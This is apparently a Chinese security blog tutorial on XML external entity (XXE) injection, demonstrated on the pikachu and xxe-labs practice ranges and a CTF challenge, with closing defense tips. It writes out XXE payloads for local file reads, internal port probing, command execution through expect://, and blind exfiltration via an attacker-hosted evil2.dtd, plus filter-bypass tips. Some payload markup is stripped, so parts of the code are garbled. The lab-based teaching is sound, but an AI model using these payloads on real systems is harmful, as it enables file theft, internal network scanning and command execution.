XML外部实体注入——XXE漏洞详解
简单来说一下这个XXE漏洞，在这之前我也阅读了很多关于XXE漏洞的文章，发现有一小部分文章题目是 “XXE外部实体注入” 这样的字眼，我想这样的文章很大可能都没有弄明白XXE和XML的关系吧，也或者是不小心打错了。看到这里你如果没有反应过来 “XXE外部实体注入”，这样说有什么不妥，建议好好阅读一下这篇文章。
1、什么是XXE漏洞
首先要了解什么是XXE漏洞，首先应该了解一下什么是XML
XML（可扩展标记语言，英文全称：eXtensible Markup Language）是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言，可以用于描述各种类型的数据，如文档、图像、音频、视频等。
这个解释太官方，我们可以将xml语言和html对比着再来解释一下
1>xml语言是指可扩展标记语言，是一种标记语言，类似于html，html是超文本标记语言
2>xml的设计宗旨是传输数据，html的设计宗旨是显示数据
3>xml标签没有被预定义的，需要自行定义标签,比如shuxue98 ，html语言的标签都是被定义好的，比如： 这个标签就是加粗
4>xml被设计为具有自我描述性
5>xml是w3c的推荐标准
特点：
1>xml仅仅是纯文本，他不会做任何事情
2>xml可以自己发明标签（允许定义自己的标签和文档结构）
3>专门用来存放传输数据的东西
xml语言的格式
//xml的声明
foo [
foo ANY >
xxe SYSTEM "file://d:/1.txt" >
]> //DTD部分
<x>&xxe;x> //xml部分
首先第一句是声明，声明这是一段xml代码，接下来是一个DTD的部分，意思是读取d盘上的1.txt文件。比如我们经常要用到某一组数据，那么每次都引用，肯定是非常不方便的，所以把这组经常用的数据设置成为一个变量，需要的时候直接调用这个变量，通过以上的解释，我们不难看出，xml如果产生漏洞，那肯定就是在这个DTD部分，最后则是xml部分。
接下来我们来介绍什么是xxe漏洞？
XXE漏洞全称XML External（外部的） Entity（实体） Injection（注入），即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
简而言之就是 外部实体，也就是我们DTD部分中的变量在加载（引用）外部的内容，从而发起了网络请求（本地请求）
漏洞原理：把用户输入的数据当成xml外部实体代码进行执行，利用xml的外部实体去访问内网，访问本机，访问本机的文件。
pikachu靶场案例演示
如图所示，我们先来读取一下D盘上的1.txt文件
读取代码如下
ANY [
xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;x>
复制代码，输入
我们可以看到他将D盘的1.txt文件读取出来了,那么是否可以进行跨盘读取呢？我们在c盘新建一个文件夹xml,里面放入我们的1.txt文件，读取一下
代码如下
ANY [
xxe SYSTEM "file:///c://xml/1.txt">
]>
<x>&xxe;x>
我们可以看出，照样是可以读取出来的，如果是读取其c盘的敏感文件呢，如本地hosts文件等等。
由此我们可以想到，如果将file换成http协议，那么是否可以实现他的一个内网探针，访问其内网数据呢
访问代码如下：
foo [
foo ANY >
xxe SYSTEM "http://127.0.0.1:80/index.php" >
]>
<x>&xxe;x>
如图所示，是可以访问到index.php中的内容的，有人可能在想，那如果index.php文件中的代码是phpinfo()，他是否会执行解析呢？
答案是不会解析，那么我如果去探测他的端口开放情况呢？比如，我看一下8081端口是否开放
访问代码如下：
foo [
foo ANY >
xxe SYSTEM "http://127.0.0.1:8081/index.php" >
]>
<x>&xxe;x>
如图所示，代表了8081端口没有开放，这样也是可以探测端口开放情况。
我们也可以结合rce进行实体注入，但是这样有限制条件，该情况是在安装expect扩展的PHP环境里执行系统命令
代码如下：
ANY [
xxe SYSTEM "expect://id" >
]>
<x>&xxe;x>
如果网站过滤了file协议或者你想实现自定义的攻击，那么就需要引入外部实体进行攻击了
代码如下：
test [
file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;x>
这段代码是在被攻击者的搜索框上面输入，而调用的地址则是攻击者的服务器上的evil2.dtd文件，攻击者的evil2.dtd文件则写上如下代码
代码：
send SYSTEM "file://d:/1.txt">
当访问攻击者的dtd文件时，攻击者的文件指向了D盘的1.txt文件，使其读取
当然这种方法是有限制条件，也就是没有禁用外部实体，是不是有点像文件包含的远程包含。
当我们进行实战的时候，一般都是不会有回显，因为他调用就直接调用使用了，没有必要进行回显，当遇上没有回显的情况，我们应该怎么办？还是用pikachu靶场进行演示，把回显代码进行删除
这样的话，我们可以用刚才读文件的代码进行读取，看一下
无论输入什么，都是这个样子，也不知道是否执行，遇到这种情况，我们也是可以进行读取的
代码如下
test [
file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
evil2.dtd中的内容如下：
payload
""
>
%payload;
解释一下以上代码，因为是没有了回显，那么先将读到的内容赋值给file,然后去请求我们（攻击者）服务器上的evil2.dtd文件，正好evil2.dtd中的内容是读取file,这样的话是不是也能实现读取1.txt文件中的内容，只不过是饶了一个弯。
然后对红框中的内容进行base64解码
如此也是可以实现对无回显内容显示。如果你学的扎实的话会想到sql注入时无回显报错时我们讲的dns注入，可以借助dns的网站来判断是否存在xxe漏洞
代码如下
payload
""
>
%payload;
如图所示，有回显
当然，这个方法只是可以起到一个判断是否存在xxe漏洞的作用。
2、绕过
1>ENTITY、SYSTEM、file等关键词被过滤，可以采用编码的方式进行绕过，16进制等等
2>若http被过滤，可以采用data://协议、file://协议、php://filter协议等等绕过
3、检测
我们应该如何去判断网站是否存在xxe漏洞，用xxe-labs中的php作为案例来讲解一下，我们打开xxe-labs
随便输入账号密码进行抓包
其实这样的话是可以看出其符合xml语言的格式，然后将下面的代码替换为读取文件的代码
代码如下：
Mikasa [
admin SYSTEM "file:///d:/1.txt">
]>
<user><username>&admin;username><password>123password>user>
如上图所示，一下子就检测出了是xxe漏洞，如果抓取的数据包没有这么明显的代码，我们应该如何检测呢？我们可以利用burpsuit的自带爬虫，对他进行检测。1、抓包 2、点击target 3、找到对应数据包，右击 4、选择scan
然后选择爬虫，点击OK
因为我们的数据包不太多，如果数据包很多，我们是可以进行筛选的
筛选完了以后，我们看一下MIMEtype,找到xml,可以看一下数据包：Content-Type: application/xml;charset=utf-8，可以尝试修改，同上
这样是可以达到一个检测的功能。不一定xml格式就一定有xxe漏洞，但是可以测试。
接下来看一下另一种检测方式，我们用CTF的一道试题进行分析，网址：http://web.jarvisoj.com:9882
我们提交一下，进行抓包
我们可以看到Content—Type的类型是application/json，那我们将他的类型修改为application/xml,末尾的类型也修改为xml的类型，因为他是linux(信息收集),所以我们可以读取他的etc/passwd
这样的话，也是一种检测xxe漏洞的方法。
4、防御
1>禁用外部实体引用
2>过滤xml中的一些关键词，如：DOCTYPE、ENTITY等等
3>安装一些waf工具
关于xxe漏洞就介绍这么多，欢迎大家关注公众号：星光安全